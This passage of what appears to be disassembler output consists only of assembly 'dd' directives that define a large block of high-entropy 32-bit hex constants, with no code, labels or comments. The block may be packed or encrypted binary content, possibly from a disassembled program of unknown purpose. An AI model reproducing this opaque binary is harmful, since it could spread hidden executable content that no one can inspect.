		dd 8AD1266Fh, 91E87609h, 77734BB8h, 0CEBB6605h,	101DEC6Dh
		dd 0E3C20AFFh, 0EB021071h, 7DC27F63h, 31CE910Fh, 0D7F3E985h
		dd 3D35534Dh, 2CCE0A48h, 0D310EC8Fh, 681D2C02h,	4D550DD0h
		dd 12831761h, 58DBD1AEh, 0D3E42DC2h, 0C316605Ch, 9094770Bh
		dd 0B3A0952h, 0EDC15FA2h, 0E060B778h, 6B7DBA87h, 0C3405972h
		dd 80014B26h, 0E99A83D7h, 69B9EC01h, 0E67322AFh, 68EB9878h
		dd 323A4B6Fh, 642BFA6Fh, 0FC422545h, 0EB206BC6h, 1038A057h
		dd 64C9042Ch, 0C24EDEF7h, 5E04D8B8h, 235E4CBCh,	0B94CED42h
		dd 28C607F5h, 0FA3558E7h, 3FD698BFh, 5C1E8CB1h,	8D1708D2h
		dd 43535EEh, 0A654AFCAh, 2739902Ch, 56D1C821h, 0B2D14A68h
		dd 7A9D23Eh, 127FCDC4h,	2D2E4914h, 161A752h, 0B6A2D5A7h
		dd 2DC951B8h, 0E9E2A556h, 0D3844B51h, 5FEEE27Bh, 2FA74963h
		dd 0C5596607h, 4A9D9775h, 5ABB10D1h, 20A25DACh,	0FA20A352h
		dd 78C0763Bh, 552E2406h, 515680D3h, 360CD368h, 41597C1Ch
		dd 59A8D152h, 20302601h, 0F6CE891Ah, 3E317E1h, 53D8E0ACh
		dd 0B7925CB7h, 12DCBE84h, 0A49613EAh, 0B24B43A3h, 2617D0E3h
		dd 0D6FDBC27h, 898449A6h, 15F3C1E5h, 8BBF0058h,	0E0E35B64h
		dd 290070E4h, 26350ED2h, 3078EB22h, 558336E9h, 3D16C068h
		dd 0A5093CD6h, 379A7544h, 0B8420D74h, 0E2C3A7B9h, 59613372h
		dd 0D77227A1h, 243CD534h, 0ADC5B1ECh, 78F6E28Bh, 0C8BFF9FCh
		dd 1FC4E157h, 91DBF1Eh,	965DD3E0h, 0AE64A063h, 1F399964h
		dd 2D228505h, 0D82380D4h, 6C3B2C7Dh, 0ED517801h, 92882E08h
		dd 0B46BA62h, 52D4613Dh, 5AFE9A02h, 462F0245h, 0B76A77CCh
		dd 86D62FA2h, 86F0009h,	90D386Dh, 1B686919h, 507B280h
		dd 361C9044h, 0B32CE934h, 2DBB0197h, 8C167E30h,	167A04C8h
		dd 0EBDE0BECh, 7E9CFF0Bh, 0E2D39727h, 0A33F1271h, 0E6D699FAh
		dd 94972C78h, 0BBF56E5Dh, 0C0AA0114h, 6A94C5Ch,	8B4621Bh
		dd 5A019582h, 21F0AA55h, 64FB837Ah, 0D880217Bh,	0AD08C6FEh
		dd 17202048h, 491363F2h, 18100916h, 1E188DB9h, 0BD101066h
		dd 80475D80h, 41806FDEh, 8839815Ch, 0C564481h, 3C104AD5h
		dd 63D34F40h, 0C66C088Eh, 24281810h, 10F89118h,	0A3813640h
		dd 0EE0B498Ch, 73414208h, 110192C1h, 2D28885Fh,	7E0708F4h
		dd 1CB32908h, 9F2031D6h, 78E9016Bh, 0D0EB1088h,	8E8540Ch
		dd 187D66E3h, 0D420F95Ah, 80E57C18h, 9A813F48h,	911AE98Ch
		dd 0E4406308h, 0DDB041B2h, 1C288C37h, 0DEF80869h, 858D851h
		dd 18C6462Ah, 88613DE7h, 804B92A8h, 31D1D36Ch, 0DF657F8Ch
		dd 0D91FC308h, 86F340Ch, 7D79C476h, 0D6F8068Bh,	57DB2008h
		dd 2098AE20h, 2424CC8Ah, 0F798044Ch, 8154CB10h,	308051C0h
		dd 10090310h, 10BC20E1h, 6010E23Ah, 630210A5h, 108CEF18h
		dd 8CC7834h, 88368146h,	28C95E4Fh, 623C2332h, 3D081550h
		dd 5E20E8E3h, 20D4DF20h, 943288C5h, 26D696Ch, 9003D8C8h
		dd 2B10186Ah, 3A44084Ah, 0DF864580h, 1815D020h,	0FC1089C5h
		dd 5208C454h, 0ADBA04EEh, 283B3C06h, 31AF0D20h,	9B10421Ah
		dd 49088C26h, 66ED188Fh, 21E008F0h, 10F69731h, 89EDA5Eh
		dd 172060DCh, 56B120C8h, 15A45949h, 318085CAh, 0BBDD18E0h
		dd 0E6640888h, 2039B50Ch, 3D79404Ah, 40BE6E40h,	14089F4h
		dd 0D6734035h, 25101462h, 385102D3h, 0CC3680Fh,	0C51840Eh
		dd 857308C4h, 0FAE9492h, 590C6908h, 40EE0840h, 0B9C47B83h
		dd 6F045CE2h, 0EA9D0490h, 93576A04h, 2920B9F8h,	59C13128h
		dd 8C5C7610h, 185DF008h, 99916468h, 0B83E047Fh,	55B24D2h
		dd 23D84CE0h, 0D040E2F1h, 20289A2Bh, 556236F9h,	4FAE329h
		dd 1CDC91ABh, 0C25192CCh, 3E842448h, 0BF2211E2h, 0C4449105h
		dd 0D00C0D75h, 2D400FC1h, 609040ADh, 0E8FC9C13h, 0C1AAA424h
		dd 8F4653C0h, 1CC78B1Eh, 10436B8Ch, 6F475C3Bh, 13EB0206h
		dd 0B9370E89h, 5A03DA7h, 18F4401h, 0C90B4940h, 618BF775h
		dd 0DEA0C7B4h, 0FE97F003h, 0C0338F7Bh, 4FB10F01h, 612CAC30h
		dd 0C5686682h, 0EE63720Bh, 31614F1Fh, 8BE01ABEh, 0FF015B10h
		dd 65066F80h, 7A9F3231h, 3C5C2679h, 63F92742h, 9FA4E1A7h
		dd 15B93A81h, 602E1D55h, 0D121B90h, 0C4AE177Eh,	58080C5Dh
		dd 8FE0F90Eh, 0FA0C3260h, 0B50C095Eh, 4DC5C08Fh, 0AD3AF498h
		dd 69763078h, 4E61F100h, 7DE9D35Eh, 3122CB76h, 0F8300358h
		dd 34AB35Fh, 0A9FE9775h, 7196C16Eh, 0C81450Bh, 6C7F366Eh
		dd 34C37E51h, 0D9A359h,	0F6A78F60h, 6E682D89h, 0FA7E2032h
		dd 7D078905h, 0BD9E16h,	8E058B8Ah, 6BA3B84Ah, 0C77E189Dh
		dd 0A464777Ah, 5B184922h, 9629E334h, 2D77705h, 52BBD361h
		dd 3EAC000h, 2F4321F1h,	781768Ch, 0D6661EBh, 7C7CF770h
		dd 3100681Eh, 5B0C724Ch, 0F7FE381h, 0E929BF7Bh,	0E261140Ch
		dd 0E5B28EEh, 68F033ACh, 382726Fh, 830145AEh, 0C1349D59h
		dd 0CD4F47B3h, 56827A6Eh
		dd 0AD4EF1F9h, 700565Ah, 0C168AC56h, 28F706EBh,	4EA343D3h
		dd 5704371h, 7618C73Ch,	8FCFC81Dh, 198BC463h, 0C45B0E22h
		dd 8EEEEA6Fh, 0C7F24EB4h, 7486463Eh, 0ABBD555Eh, 0A8EDEEC0h
		dd 0B75C291Ch, 9C56F85h, 0DF748708h, 3230A982h,	27F1DE2Fh
		dd 50029FF0h, 3C9F44B8h, 28F2409Dh, 42590615h, 5C3827E9h
		dd 0CFCA883Ch, 0B2D2D913h, 0E5B0FFE4h, 53F802E3h, 6BEF4EC0h
		dd 27E973DAh, 0DA98CC46h, 6A013D8Ah, 0FD6E2D5Bh, 0B03E337Ah
		dd 9801390Ah, 0E9C2016Dh, 5DD6489Eh, 96C8C05Bh,	62B1F113h
		dd 544E657Fh, 0E9E07471h, 154269Ch, 581E0897h, 0A5F91D66h
		dd 9F23CE29h, 0E21E8FADh, 84E4DF2Fh, 0D8B428C4h, 0EE8BD2ACh
		dd 0F23FEF7Dh, 9AE4D3C4h, 33B634E9h, 1916BB9Eh,	500C38EFh
		dd 0FEB9ADC0h, 0F1680A06h, 8FE092Ah, 42E1A0F5h,	295C4130h
		dd 484576Ch, 12B635E9h,	33C7321Eh, 76B42EA6h, 0EFFCECF1h
		dd 67382565h, 76306B7Ch, 4A522D7Eh, 3CAAE124h, 0BA072B1h
		dd 0C1B65558h, 0A10DF69h, 681D46E2h, 32B40120h,	0DF5D080Ah
		dd 41CE5149h, 5E63EE9h,	8A6E06FEh, 0EC6FFF9h, 2CDDE3F3h
		dd 940B4F6h, 8A84462Bh,	6AE28902h, 9CFB12F5h, 5B0D7B8h
		dd 0E32C4012h, 0DC280E79h, 374A3C01h, 1170E94Eh, 0DDC36182h
		dd 9D41528Eh, 0B4E320D8h, 0F76EFD82h, 1742730Bh, 2702577Ah
		dd 0F1A0D0Ah, 0F62F4EB1h, 0F256F300h, 4FE9D67Dh, 4F26F469h
		dd 0F82F1A97h, 25F691F2h, 0A80CC5F0h, 0C6B3516h, 0E026023Fh
		dd 1E77E9B6h, 7AA8114Ah, 60B003C0h, 0C00745Dh, 70C86596h
		dd 197EDB9h, 0D129994Ch, 3F7417E9h, 0CD50D1B3h,	9174950Fh
		dd 4CD3E953h, 2DBB84C3h, 0ACAE0435h, 0BE56B060h, 0AB701FCEh
		dd 78893A54h, 868C4363h, 124110F8h, 0BF50D1DCh,	0CC9DF514h
		dd 688A882Eh, 28224F23h, 9E955BDFh, 59E916B5h, 0B45C74D5h
		dd 25523EC3h, 1E34265h,	61842231h, 49A46DE9h, 58DE00AAh
		dd 0EDC130A1h, 3C2960F7h, 545E319Fh, 2F178432h,	1539EFCBh
		dd 18D213Ah, 0BB27D19h,	0A420A84h, 7D4F7EB3h, 0A196358Ch
		dd 375C97FBh, 88D9004Fh, 4958E931h, 0B171E6Ah, 0C0988C7Ah
		dd 86E8DA5Bh, 4CCABBA4h, 0F37C1301h, 0D691684Fh, 905621A7h
		dd 6B1D70DDh, 8E61F0AAh, 31632A6h, 283E4E72h, 5FF0E155h
		dd 74B78789h, 44DD611Ah, 65E8518Eh, 4A05012Eh, 7F2B1B09h
		dd 6D6709CBh, 42082AEBh, 9D08D62Ch, 0BD41B60Ah,	3FE268C1h
		dd 0FABC6B56h, 6EF99D5Dh, 0AF045EE5h, 500D47Eh,	73D19E1h
		dd 0E42C68F6h, 99C06113h, 9D32521Ch, 0C38FF880h, 0F3FED7C4h
		dd 56B3E91Ch, 4B554938h, 0E9C3E6B3h, 0A5E870Bh,	16AEF6C5h
		dd 6EB1E1A5h, 0ADD330B6h, 0AE98346h, 0A7EA8458h, 0CAE98314h
		dd 0B8160292h, 3BA5592Bh, 13E8AC0h, 12C0D3BFh, 588C4012h
		dd 4D56C281h, 0F18C3550h, 0C07F6641h, 252548Bh,	0F7FA870Ah
		dd 2118CADFh, 7235BB1Eh, 302C7A12h, 615E42B2h, 684C50C3h
		dd 252809C3h, 0C8D38E58h, 0BB3117BDh, 0BB40A06h, 80B8042Eh
		dd 0BB349258h, 0FF17CC1Eh, 0EE81E8ADh, 70934574h, 9F6C249Ch
		dd 3D0F0C97h, 33957E12h, 0C11F81C2h, 4D3C4D02h,	7E56E027h
		dd 0B564F53Dh, 0AF08336h, 0F652FA55h, 0F3DF4F20h, 596C04A4h
		dd 680A46DEh, 41EB0106h, 3F790Bh, 0B5B62AC7h, 0D5E9AC87h
		dd 0C5EC4E8Bh, 0FE2298E5h, 54F3F8Ah, 0FF431B8Dh, 63141FCBh
		dd 0BC5D8614h, 8B875BC7h, 684E31FDh, 6A267EEDh,	0A484A492h
		dd 9F597A4Ch, 3CE74F86h, 0ACE84B86h, 0E9843E73h, 4112429Bh
		dd 0F66E4790h, 9ADA188Dh, 1EEB2D12h, 89DCCD48h,	97DBADF5h
		dd 1C28E0AFh, 55393066h, 0EF433D0Eh, 95B1704Fh,	181A2FDCh
		dd 10DBF736h, 0CC4A44E9h, 0B1B84FC0h, 68BF0B7Ch, 7B330416h
		dd 25CC863Dh, 0EDA261E5h, 0C5EA0744h, 12A78B13h, 41AD4568h
		dd 20953F17h, 56728E90h, 88474A26h, 9DE9A917h, 0BD745ACBh
		dd 827F5E51h, 0C4D70197h, 67743015h, 0D2A3C6FDh, 0C0E0762Dh
		dd 9ABBF503h, 0EC5F4E29h, 0B2F85F3Fh, 2C8E05D2h, 1699EE93h
		dd 0D3B8B3Fh, 0A1DD52E9h, 90D19401h, 26FE37BFh,	43BCC622h
		dd 0DE7B7B02h, 6A04A832h, 320FF558h, 12282626h,	5EF13116h
		dd 97560AB0h, 4062B163h, 0B12F224h, 867A80FCh, 73DEC27Fh
		dd 28F1683Bh, 6A8E2008h, 1306591h, 777A13A8h, 2F853A29h
		dd 0BC0364BFh, 0BB91F1F6h, 9B045122h, 0A871A61Ch, 0F50D5069h
		dd 9263B009h, 0BE82DF29h, 0D50B4C43h, 132D7680h, 49003A6Ah
		dd 0B44E800Dh, 5354072h, 0FC058552h, 1905FA89h,	8E563D8Ch
		dd 63126021h, 0F6CFFE00h, 8BE0D75Bh, 0B327863Ch, 831F589Dh
		dd 0AF539DEDh, 6812A0ACh, 4C935F0Ch, 430ACFDBh,	9EA0F776h
		dd 0D92E6EB1h, 3117C541h, 81DE6A4Bh, 0AC15FA79h, 12E65720h
		dd 1629196Ch, 27931928h, 314082DAh, 753F1852h, 0CE0761C4h
		dd 13E2197Fh, 5BFEF660h, 0B1935EEFh, 0CCC06E03h, 2D8DC472h
		dd 0ECFB52A1h, 5A1BCC01h, 932B310Fh, 44415EA7h,	3096F90Ch
		dd 0D411F7Fh, 2A310B7Ah, 0EA9EC774h, 0A677427h,	258118A2h
		dd 0FF62407Eh, 0AC12F730h, 39EF2E82h, 5921D509h, 2002DFC9h
		dd 6A4A1E62h, 0EC96E2F3h, 0E9CEC15Dh, 0E424428Fh, 82374475h
		dd 0BE593F40h, 0F08142B8h, 1E8059CAh, 62FD0328h, 0A9B85002h
		dd 622E5D59h, 170082C5h, 261255F9h, 60A09A7Dh, 80776B49h
		dd 1498D3F7h, 7B18716h,	0E5FB440Fh, 49AA72D7h, 0DFC20317h
		dd 0E9D698F5h, 9E91555Eh, 7FDB2D7Ah, 0BDE96F8Ch, 2EE14970h
		dd 8992378Ah, 6AE07E9Ah, 0B93A25E9h, 77658874h,	0D9ECED95h
		dd 519843D2h, 3696F541h, 73C0B87Ch, 0F318A0C3h,	522E9C38h
		dd 419B8080h, 0E91B16C2h, 59BFCCFh, 0F230378Eh,	0E005EE71h
		dd 3B5E46C0h, 0DF8F8A09h, 0E3F8BC14h, 1078136Ch, 0AA749787h
		dd 65C8E9D8h, 0FBFBED57h, 1FE30F2Ch, 709B0F88h,	4133780Ch
		dd 79FC7350h, 38681914h, 4DF0499h, 0BEA0BFBh, 5A804290h
		dd 75602844h, 41099390h, 0D637516Eh, 0EB0901D6h, 2EC3835Dh
		dd 6D81E20Ch, 2EF109F3h, 0A0F77FA2h, 7EAAC506h,	0C036038h
		dd 3F6EF94Fh, 0DD890BBDh, 0DE95DE16h, 0F5B1423Ch, 5A25906h
		dd 65963958h, 0BB8DC056h, 0B7B4049h, 7B70D0Ah, 231EB1C3h
		dd 4CFAB760h, 9E2D55FAh, 9547C66Eh, 816AE4D3h, 2B5C4601h
		dd 72F4833h, 1E20DB1h, 0E0D1676Ch, 0AD0B7535h, 0DE2933FEh
		dd 4E7FC91Dh, 0BFBD0098h, 0E9286210h, 0C7B7FB0Ah, 7AE962D3h
		dd 2ABB5DC8h, 69783216h, 502C5B01h, 0A12E16D9h,	4B716168h
		dd 51BD0449h, 4FC7C379h, 0F0630306h, 9200F43h, 0ACD7295Eh
		dd 220FB039h, 0ED4E5A6Bh, 2FCE0279h, 0E21D9D5Dh, 0D8044BF2h
		dd 2C22ACEAh, 282C1ED8h, 90088424h, 0C10B2E82h,	823867D2h
		dd 71F013D7h, 76900782h, 9822B10h, 0B5C575A2h, 0E15F3012h
		dd 13C0910h, 8FC76077h,	7668D2F7h, 0F11366BDh, 6C5479E9h
		dd 40A125B4h, 1AEC40EEh, 487CC592h, 6CFBC26h, 52B4CCh
		dd 41B072B6h, 885AF030h, 0CA58C139h, 92CC5CBDh,	3205BD3Dh
		dd 957DC45h, 7DC534C1h,	0E712F206h, 2041964h, 0CD425184h
		dd 99604559h, 923FE622h, 4075A78Dh, 9FF734AFh, 2106C3E0h
		dd 0F1308EA0h, 0A05C73EEh, 40028832h, 0B04D3CC7h, 12E9604Eh
		dd 362D0841h, 0D945EB3Ah, 6043E83h, 0D1E0285Bh,	2D5A7D59h
		dd 0DDA29B1h, 4457B882h, 96B6813Ah, 8F2D1839h, 8A6CB8F6h
		dd 3A5817AFh, 0ABD70D0Fh
		dd 4CD1630Dh, 0EF816F8h, 17CB593Ch, 0FC0632E9h,	20F4906Ch
		dd 0DC797C4h, 5AE07CAFh, 4E1E7157h, 47915A2Ah, 3E42611Eh
		dd 3C57C559h, 6D1DA1C9h, 70BF84C3h, 455468CBh, 0DC64069Eh
		dd 0EAB4B9B0h, 0BDF47A80h, 0F6E4EBE1h, 0F0E8585Fh, 0C50B9D06h
		dd 0DF4F8F0Eh, 0E94AF743h, 0FB3B10F3h, 0D27490C7h, 0B685906h
		dd 0D20B94Eh, 105B5806h, 0AB793D27h, 1733C6CFh,	0DFF7308Ah
		dd 5B7720FBh, 0AAE20CC1h, 0B930A422h, 47620441h, 0FCFD0146h
		dd 2F0941E9h, 6208E0A4h, 0F2F97D07h, 0F0DDAB49h, 0C180E7F5h
		dd 2D04B7E2h, 0C68902FEh, 48E3FD58h, 563CB16h, 68A92DBAh
		dd 0F0A65A38h, 0DF0FF504h, 3480AEB8h, 5B986B19h, 73E9AC43h
		dd 115AE84Ch, 0C20951E1h, 25F010F6h, 2C1706ECh,	69B144FFh
		dd 0C088DCAh, 0D55D1402h, 6884A147h, 14D80D74h,	0EF5F535Eh
		dd 0A43DEE78h, 664B3110h, 1B851CDh, 9CDDEF29h, 0B00E4BFBh
		dd 0C10E81FDh, 4080200Dh, 65E9CA29h, 2D015F1Fh,	0F68BAD91h
		dd 0E95760B8h, 0DBBA2C37h, 0E46E4826h, 5448806Bh, 9F01C1E9h
		dd 9F8FADDBh, 0BB87709h, 0C35550C7h, 9F636216h,	7D97ED8Ch
		dd 0CE534C0Eh, 36114318h, 42641868h, 11D2FA4Bh,	97D8D45Fh
		dd 31414BF9h, 0D798E2F0h, 279DAAC6h, 0B70B24Fh,	63956AE3h
		dd 0D94E4EF0h, 7C107FF3h, 0B70F0912h, 8D0D56C0h, 2B5A08DCh
		dd 910008E1h, 7E6F2D16h, 75D4B32h, 92293589h, 0B2C55E0Fh
		dd 3102B62Ch, 0D722AD10h, 34E78460h, 8005A027h,	0F8E9D7ACh
		dd 3ED39DFBh, 314195BDh, 93F92E97h, 2A505A5Ah, 0FDD2AA6h
		dd 0C5509E7h, 0C001EF12h, 1E8F0B84h, 0F47E0C83h, 0EDE0B764h
		dd 5C504A2Eh, 0D0B0FDC5h, 6231970Fh, 0EEE9C01Fh, 0C10BDE0Fh
		dd 0BB407B0Ch, 0C0F1F122h, 0F97B94ABh, 56AF112Ah, 0FD496FF0h
		dd 5DE81800h, 25066050h, 6EF00E31h, 43907D4h, 63E02A74h
		dd 68CE02ABh, 25608BCh,	794C2E62h, 1BB1EA71h, 8612F93Dh
		dd 0B8204A58h, 4AB80748h, 0E99BC8B0h, 0D121853Ah, 2264FC2Eh
		dd 0A006122Dh, 5F0DE2F3h, 44292D09h, 0C687B76h,	0C6535809h
		dd 0C8BE0468h, 820A4861h, 0FB75B9F7h, 0B055A59Bh, 60BEE914h
		dd 0B8E627F9h, 225A553h, 0A0CF4468h, 5C4A753Ah,	666DCDBCh
		dd 5E0A12F4h, 6A7051C0h, 89116912h, 11837413h, 6802DC2Ch
		dd 90A2416Eh, 0EC5DF7BCh, 84F64AE9h, 898AB1Eh, 5A507E5Dh
		dd 2DE50091h, 31F2543Bh, 70A0897h, 0FE31D020h, 0A7485D15h
		dd 0AC0BAE04h, 0F5478605h, 55680EF7h, 0BFB22970h, 971347CAh
		dd 0BA50307Ch, 170B3CA9h, 91D13159h, 0A8AD2173h, 3D5FE866h
		dd 10BAB113h, 0E01C0BE1h, 3EF5251Fh, 9D390D9h, 23DA7555h
		dd 5A26CC7Dh, 671113FEh, 60CBB2C7h, 954F18EBh, 0A0E713E2h
		dd 25452DEBh, 0A5E95F0Bh, 1EA9D7FAh, 0E02E3E84h, 0C72DFE58h
		dd 166B5150h, 0F33A7256h, 0D796D529h, 7F1C9330h, 2D2EFAF5h
		dd 0CE5413ACh, 303B8F02h, 5007B0Bh, 0FAAD09B7h,	68160980h
		dd 0E9300945h, 5111534Ch, 11DDF018h, 81B622F6h,	703DF225h
		dd 5F19547h, 0F5425FCDh, 0C1DAFA5Bh, 5F6D8F62h,	0F6EE2008h
		dd 794F7EF2h, 0FB2782BCh, 71BF63F8h, 0A7C96A4Fh, 975609FEh
		dd 0F9A0D546h, 96880133h, 6B2A2D48h, 8A0CD7Eh, 0B6095E4Ah
		dd 5FC5E22Ch, 0E3204CECh, 2C78BFEEh, 19F8804Ch,	880BD1F6h
		dd 407EEE70h, 0ADFE562Bh, 800529B2h, 586614C3h,	53A2FFB8h
		dd 7B463BE1h, 0A12F8C9Dh, 3DCDE127h, 0D9EE0316h, 1E62050Ah
		dd 5651F5F6h, 41FEE94Dh, 141CA108h, 0A7703502h,	7B517D64h
		dd 823BFDA5h, 0F832B018h, 1B800DE0h, 28670E37h,	0CE6933E9h
		dd 0BCF8C489h, 502E6439h, 7782A5E8h, 2D03348Ah,	74ECDDDCh
		dd 7568FC51h, 0E1CEF359h, 0D724E96Bh, 32BAFA52h, 0D13E06C6h
		dd 52D3541h, 78138D00h,	7D294EDCh, 2E8330D3h, 9E685336h
		dd 7D69060Bh, 5720D75Bh, 82135A0h, 3099E915h, 0DE4E7699h
		dd 0F2AE0284h, 0EB2293F2h, 0A2E95D31h, 6B607F73h, 90BE3A33h
		dd 0CAE63575h, 4680AED3h, 0BD02CE68h, 554C074Ch, 7BA7A0F8h
		dd 0E9184B36h, 150D732Fh, 0B247F202h, 0F50991D7h, 20E8D5FEh
		dd 343F0D2Dh, 22E5806Ch, 51680A07h, 0E1314BE9h,	0F8F27E95h
		dd 5631BF96h, 8C2AFF54h, 86B27C0Eh, 5769DE94h, 49867E6h
		dd 0A1570720h, 0F1DE0F36h, 8449161Bh, 416A371Fh, 2C6D3A4Bh
		dd 0CC0C2577h, 0F81988Ch, 34F2F08h, 0E31601CFh,	0E90C40BDh
		dd 6B9F4D31h, 0CB6B5DEBh, 0E9B76166h, 0FA231076h, 6BBF680Bh
		dd 5989D2F9h, 0D929A4D4h, 0A1A23C0h, 24357D2Eh,	80183816h
		dd 2B411B7h, 0C770EC80h, 0ED2DFC7Fh, 4E4B1843h,	0EE014E15h
		dd 6096729h, 0D22E9142h, 5D242F53h, 43503CD6h, 0C3E6BFAFh
		dd 0CB41B2F2h, 3A82FC2Fh, 0A7EE3A80h, 0CEC7CDCh, 5B0C30D3h
		dd 0B56E925h, 149EF75Dh, 0A5057397h, 54C5B855h,	3249B5Bh
		dd 0AB62E955h, 0C1213E09h, 3DDC7458h, 20F5AE96h, 1C517F1Ch
		dd 0CF012DB0h, 9EE276Eh, 0B02AE7C1h, 102C2484h,	47622B31h
		dd 8560Dh, 53AF23C4h, 9198E0C1h, 90C97F2Dh, 2C64DD05h
		dd 10F776D2h, 4CB94BA6h, 8F066E00h, 0F7CD8103h,	2CD66118h
		dd 456E60Ch, 0EDC16908h, 0F5858002h, 7A01DF7Dh,	189FBB53h
		dd 0F306A31h, 0E7A83ABDh, 1A3DA85Fh, 5F798511h,	0C3E02D44h
		dd 42B45013h, 55494004h, 0B8F672E4h, 0D2015343h, 88FD4A70h
		dd 384112C6h, 0C8E5C902h, 3F6CB6BBh, 0CC9AF520h, 0F9C4FE25h
		dd 1D70CB0Bh, 0F135D05Bh, 0E95CCC3Ah, 8CA5F2Ch,	83A85744h
		dd 0C181C45Eh, 9436EFEAh, 7A1CB34Ch, 14053735h,	0F566F582h
		dd 0E902B245h, 5D010F81h, 38E445D9h, 0C78A8B94h, 160FF4Eh
		dd 0C4FBB151h, 0EA0A8F88h, 0E64ED1DFh, 39E90AF1h, 0EB818431h
		dd 57375020h, 5DEC807Fh, 0B0830392h, 0C160B67Fh, 62FE718h
		dd 11853034h, 0B401480Fh, 8453222Dh, 8C887718h,	425B1F07h
		dd 12401CF9h, 30B86177h, 92E5F33Fh, 0DD9767A3h,	8AA240F2h
		dd 3A12962Eh, 7A00D0F7h, 0EFD73CFh, 69C2AE9h, 0B8095EB9h
		dd 0BFA0D292h, 0F8664FBCh, 825CC478h, 7EC15FD2h, 94702DAh
		dd 8D4D9B7h, 386DC02Fh,	0E7677EE3h, 36DB5DABh, 1025E27Eh
		dd 4AE08219h, 0F038E696h, 68F1A88Ah, 48362EBDh,	0F82D011Eh
		dd 0D44FA97Dh, 0EC4E2ABFh, 0FCCD64C1h, 0F9E28204h, 0EB059F7Ah
		dd 4CD9689Fh, 27A1BE00h, 0D89599Ah, 0F215E9DEh,	3D5E6226h
		dd 1AD524CAh, 2D354880h, 9E743E39h, 34F7197Bh, 4F6C7C5Dh
		dd 97B2262Ch, 0A5C74425h, 6DC93BFDh, 3AA22361h,	2E926918h
		dd 0B8C0B70Ch, 6793EB70h, 58D74763h, 440E74E1h,	0E762FCBh
		dd 0FA124651h, 247F688Bh, 4069C263h, 42F83190h,	378460B5h
		dd 0EA657C62h, 6EBF16F3h, 5B67BCEDh, 4CE1A9ECh,	0CADD8235h
		dd 0F734268Eh, 54EF8D83h, 0A3DD72AAh, 4EF1C5CFh, 8E3CFE70h
		dd 931D6061h, 0FA291CC1h, 8249753Bh, 7D413CE1h,	0A4DBC118h
		dd 90A3BA04h, 9721FB96h, 0AA160E73h, 0D8B95100h, 0BD3BAE2Eh
		dd 0B10BD3DCh, 0F0142AE3h, 0A1E211F3h, 7E8EE33Ah, 0CBC14A0Fh
		dd 0E2552227h, 0EB1CA0DFh, 5BFBF534h, 6129FCF2h, 615D6834h
		dd 298DAE50h, 0EC449F01h, 185A4627h, 0BC9753C4h, 25A6EA2Fh
		dd 311B16D5h, 3E593682h, 6DF26AFBh, 1A711A89h, 0F70E9402h
		dd 6498E03Ch, 4B3E090Dh, 0EBE284E9h, 6603AFE5h,	0A50323BAh
		dd 5EE6E007h, 43BB4A97h, 0F21609F0h, 0C7D5B26h,	7DA211A8h
		dd 0D631182Ch, 55EE125Ah
		dd 4E91A09h, 2DF9147h, 50A830B0h, 8B50AC0Dh, 2735789Bh
		dd 4BC4AE1Eh, 0ADE90803h, 0E1971682h, 0E2E96752h, 72F273D4h
		dd 9C34EA0Fh, 0AA0C6B3Eh, 0C00B4249h, 6F4F2269h, 6F965C24h
		dd 1DD236C6h, 0B242F860h, 9F6D415Dh, 88E95E90h,	0D725D494h
		dd 2CF1B23Bh, 7F1CA99Ch, 0E2E0F7C9h, 0FC0508E2h, 0D89AE96Ah
		dd 0F85F24BFh, 583804D6h, 0D7AF36C3h, 0E95EC0CEh, 0A0B53F7Ah
		dd 903ECE22h, 0C0369C4Ah, 52D877B0h, 73533148h,	4D5BE971h
		dd 3BB86080h, 96E2547h,	7FC24848h, 503ECF2Fh, 61C00903h
		dd 29055531h, 5AD8FE38h, 39AB26FEh, 0D8E32576h,	5809DDE2h
		dd 0E95D5E48h, 20E4CB4Dh, 3B61BAE8h, 0B03E5EC5h, 0EA5FD1E9h
		dd 17ABD6F0h, 0ACF7453Ah, 0D88914F2h, 7BBF75BCh, 0FF2DA081h
		dd 0F849B5E5h, 2A93B082h, 91600F77h, 9A6A5164h,	0A90269BCh
		dd 0F53BE17Bh, 0E1009242h, 0CC956333h, 0B65C44B7h, 6B970271h
		dd 60D02BA2h, 19FE712Ch, 40AB6C2h, 67B6EB46h, 0D9387201h
		dd 3CE0E965h, 0CEB24BA6h, 4FA870DCh, 0D1E2716Ah, 0E91AEF78h
		dd 2285E2Bh, 365EBE9h, 54E9CE31h, 0F4A8541Eh, 1314F989h
		dd 12084910h, 0C8A0233Ah, 0EDC44A50h, 5249A54Dh, 0C26BF463h
		dd 247C26A9h, 6E13D58Eh, 1BEAC064h, 2F978BE7h, 46E5D101h
		dd 0AF424113h, 61439856h, 8F248A1Eh, 516597CDh,	76F48E89h
		dd 0F79141F2h, 7163CED1h, 572A8CBCh, 5E5C6804h,	0C0FE7E6Eh
		dd 2920C9DFh, 0F7EE47ECh, 1C2E030Bh, 3D03751Fh,	34C04EBAh
		dd 0C24F3141h, 0E9A073A8h, 88A9BCD1h, 1F04A653h, 0D71B0925h
		dd 0CE0EE165h, 2C3610A4h, 0E2F04F15h, 0EEBD114Bh, 3F30492h
		dd 52530131h, 63315B68h, 22AD121h, 12B12C63h, 2C2E8CDDh
		dd 829E9E4Eh, 5B213384h, 0C8F5E3F5h, 3272E9CDh,	0B7A20AF4h
		dd 62C662F0h, 2A93B3C5h, 2415E2Dh, 0F16ACDB9h, 0A5814976h
		dd 6A444FE9h, 12B8D320h, 22962F1Fh, 53026BD8h, 9A317DBBh
		dd 4EA06040h, 0EC087966h, 30AAB8F3h, 480C17AEh,	0C64FF8BEh
		dd 4E581DE0h, 4FB7A387h, 0DC109A8Bh, 3BBA3E9Bh,	2402A418h
		dd 34099126h, 86497479h, 54278CDDh, 7E1EEB20h, 0FB5BB701h
		dd 0FF435BACh, 0DF5F1D6Ch, 2F69FCE5h, 0D4A78259h, 4F723FDh
		dd 0F2676168h, 2831782Dh, 0BEA64951h, 98886D74h, 0C3801CA8h
		dd 50EB0593h, 0E408C1B4h, 562393BDh, 5096DEBAh,	0DB5E05D2h
		dd 2092AE31h, 0FE9EF922h, 0CC7BE615h, 0E8C1D61Dh, 4CC60590h
		dd 0C018CD51h, 0AA291D27h, 3025DF90h, 60577674h, 66220272h
		dd 3D4A0BFAh, 5B89E5B2h, 0DAD3B238h, 52B1A691h,	139D484Bh
		dd 2291C9E7h, 97BD0EFBh, 32572387h, 7AC7B309h, 0EF1CCA6Ch
		dd 7E6805C0h, 98CBAB1Dh, 249FBC4Ah, 589390A5h, 9DBB5D84h
		dd 7AE8827Ch, 753CC278h, 0EF749350h, 0E9F42225h, 846C7A8h
